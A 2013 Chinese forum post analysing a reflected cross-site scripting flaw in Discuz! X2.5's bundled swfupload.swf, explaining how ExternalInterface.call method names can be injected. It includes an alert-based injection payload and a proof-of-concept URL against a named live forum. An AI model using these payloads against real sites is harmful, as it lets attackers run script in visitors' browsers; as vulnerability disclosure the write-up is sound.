找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2163|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
8 i- P1 ~6 p# r$ W% n- c1 ~  q( I7 R; O0 n
flash.external.ExternalInterface.call($methodName, $parameter)# {5 g; @, i* ^" v7 v
在浏览器中执行的是
- y; [, `4 d* {# F% G
- t3 S4 A' a3 y( Etry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
( \2 }( N. ~) u5 j3 ?# Y4 a对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如1 C3 N( K+ {' c2 q; w, o! g8 Z: E

$ W* b& c" ]6 Z% i" Vflash.external.ExternalInterface.call("object."+$methodName, $parameter)7 J" o' |5 M3 c: |  }( |: s5 b
$methodName = a())}catch(e){alert(/xss/)}//, p1 v% O3 l8 ]/ n+ {: ^( H
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
) i' X- m0 D. Y; M% ]( i) x5 Z5 S( V& _5 o2 O; o$ E5 Q1 n- G/ }
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' z. ~! f; i6 c: Z$ ~# r9 O& I
* P5 j- A  V! t: ~7 o8 d" q1 T/ t这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
1 ~8 s0 S6 N4 y  K( z4 D0 @' q& _杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。6 G. O4 w1 Y" i$ q$ J! _

% y* r5 o0 s! @3 W9 N
/ c& s% C- T  N3 C9 T+ W' Q9 \" }/ @* ^3 Q3 u6 e
漏洞文件:upload\static\image\common\swfupload.swf# \5 k/ j* p1 z1 }  n0 l
/ |* [4 t* W( G. K) {
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
* m& A7 _* ?( h% B( u
+ X  T; ^1 I, E$ I. r) K; w# K3 ]8 f. z, c' d$ X
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//5 |' t8 I  t8 G8 |: h) {0 P! z  N0 ^
/ }( {. c2 R7 I7 O+ I
! }' @6 j  p' e1 V$ f, l2 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表